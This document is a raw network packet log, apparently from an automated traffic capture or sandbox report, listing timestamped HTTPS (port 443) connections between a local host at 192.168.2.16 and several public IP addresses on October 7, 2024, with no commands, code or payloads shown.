Oct 7, 2024 20:59:11.390944004 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.390961885 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.390988111 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.391061068 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.391408920 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.391549110 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.391577005 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.396075010 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.396095991 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.444299936 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.489442110 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.489548922 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.489648104 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.489681959 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.489727974 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.489747047 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.489747047 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.489785910 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.489799976 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.489842892 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.489869118 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.489907026 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.489923954 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.489953995 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.490034103 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.490115881 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.539273977 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.539335012 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574009895 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574048042 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574193001 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574249983 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574318886 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.574323893 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574318886 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.574318886 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.574388027 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574445009 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.574454069 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574469090 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574541092 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.574547052 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574558973 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574608088 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.574621916 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574709892 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574768066 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.574935913 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.574971914 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.574995995 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.575033903 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.604085922 CEST	443	49778	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.604450941 CEST	443	49778	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.604470968 CEST	443	49778	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.604656935 CEST	443	49778	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.604657888 CEST	49778	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.604657888 CEST	49778	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.604731083 CEST	49778	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.605138063 CEST	49778	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.605175972 CEST	443	49778	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.606215000 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.607683897 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.607706070 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.607747078 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.607775927 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.607796907 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.607836008 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.607867956 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.607867956 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.607904911 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.620944977 CEST	49790	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.621037006 CEST	443	49790	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.621131897 CEST	49790	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.621406078 CEST	49790	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.621440887 CEST	443	49790	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.689865112 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.689945936 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.690104961 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.690139055 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.690217018 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.690258980 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.692157030 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.692202091 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.692240953 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.692259073 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.692296028 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.692320108 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.772031069 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.772094011 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.772193909 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.772253990 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.772298098 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.772320032 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.772751093 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.772806883 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.772839069 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.772855043 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.772881985 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.772907019 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.774255991 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.774300098 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.774337053 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.774350882 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.774389029 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.774410009 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.814847946 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.814891100 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.814965963 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.815025091 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.815057993 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.815078020 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.854856014 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.854898930 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.854959965 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.855026960 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.855062962 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.855083942 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.855206966 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.855439901 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.855480909 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.855515003 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.855532885 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.855565071 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.856136084 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.856185913 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.856220007 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.856235981 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.856262922 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.856728077 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.856766939 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.856805086 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.856836081 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.856868029 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.860297918 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.860344887 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.860387087 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.860409975 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.860459089 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.860723972 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.860763073 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.860794067 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.860809088 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.860837936 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.897958994 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.898030043 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.898175955 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.898231983 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.898232937 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.898308039 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.898610115 CEST	49777	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.898653030 CEST	443	49777	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.905052900 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.905149937 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:11.905234098 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.905497074 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:11.905520916 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.450933933 CEST	443	49790	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.451420069 CEST	49790	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.451484919 CEST	443	49790	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.454853058 CEST	443	49790	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.454936981 CEST	49790	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.455205917 CEST	49790	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.455291986 CEST	443	49790	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.455445051 CEST	49790	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.455461979 CEST	443	49790	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.505054951 CEST	49790	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.703210115 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.703704119 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.703768969 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.705238104 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.705327988 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.705713034 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.705805063 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.705964088 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.705982924 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.716362953 CEST	443	49790	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.717163086 CEST	443	49790	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.717173100 CEST	443	49790	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.717247963 CEST	443	49790	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.717288971 CEST	49790	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.717318058 CEST	49790	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.717842102 CEST	49790	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.717860937 CEST	443	49790	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.761171103 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.971812010 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.972929955 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.972960949 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.972980022 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.973026991 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.973045111 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.973143101 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.973144054 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.973144054 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.973144054 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:12.973217964 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:12.973295927 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.059329987 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.059426069 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.059550047 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.059550047 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.059617996 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.059695005 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.060765028 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.060817003 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.060861111 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.060882092 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.060909986 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.060949087 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.144345045 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.144404888 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.144608021 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.144608021 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.144673109 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.144733906 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.144948006 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.144999027 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.145044088 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.145064116 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.145091057 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.145112038 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.145881891 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.145935059 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.145968914 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.145982027 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.146009922 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.146035910 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.149152994 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.149199009 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.149240971 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.149252892 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.149283886 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.149317980 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.149329901 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.191159964 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.234258890 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.234323025 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.234390020 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.234390020 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.234457016 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.234513998 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.234954119 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.235004902 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.235048056 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.235069036 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.235105038 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.235126019 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.235142946 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.235184908 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.235215902 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.235234022 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.235265017 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.235287905 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.235665083 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.235713005 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.235780001 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.235780001 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.235795975 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.235853910 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.236315012 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.236366034 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.236399889 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.236418962 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.236443043 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.236469984 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.236917019 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.236959934 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.236998081 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.237010002 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.237037897 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.237077951 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.237510920 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.237596989 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.237606049 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.237632036 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.237664938 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.237694979 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.237708092 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.237771988 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.237838984 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.237838984 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:13.237860918 CEST	443	49791	152.199.21.175	192.168.2.16
Oct 7, 2024 20:59:13.238065004 CEST	49791	443	192.168.2.16	152.199.21.175
Oct 7, 2024 20:59:29.563843966 CEST	49792	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:29.563944101 CEST	443	49792	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:29.564050913 CEST	49792	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:29.564527035 CEST	49793	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:29.564572096 CEST	443	49793	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:29.564637899 CEST	49793	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:29.565026999 CEST	49792	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:29.565067053 CEST	443	49792	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:29.565502882 CEST	49793	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:29.565520048 CEST	443	49793	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:29.567873001 CEST	49794	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:29.567960024 CEST	443	49794	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:29.568198919 CEST	49794	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:29.568409920 CEST	49794	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:29.568438053 CEST	443	49794	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.008326054 CEST	443	49794	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.008738041 CEST	49794	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.008766890 CEST	443	49794	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.010181904 CEST	443	49794	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.010265112 CEST	49794	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.010761023 CEST	49794	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.010761023 CEST	49794	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.010761023 CEST	49794	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.010859966 CEST	443	49794	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.010917902 CEST	49794	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.011256933 CEST	49795	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.011353016 CEST	443	49795	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.011490107 CEST	49795	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.011821032 CEST	49795	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:30.011861086 CEST	443	49795	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:30.013554096 CEST	443	49792	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.013835907 CEST	49792	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.013900042 CEST	443	49792	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.016993046 CEST	443	49792	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.017103910 CEST	49792	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.017594099 CEST	49792	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.017594099 CEST	49792	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.017594099 CEST	49792	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.017694950 CEST	443	49792	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.017764091 CEST	49792	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.017918110 CEST	49796	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.017942905 CEST	443	49796	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.018027067 CEST	49796	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.018289089 CEST	49796	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.018318892 CEST	443	49796	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.038177967 CEST	443	49793	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.043767929 CEST	49793	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.043828964 CEST	443	49793	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.047358036 CEST	443	49793	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:30.047672033 CEST	49793	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:30.048053980 CEST	49793	443	192.168.2.16	104.21.57.143
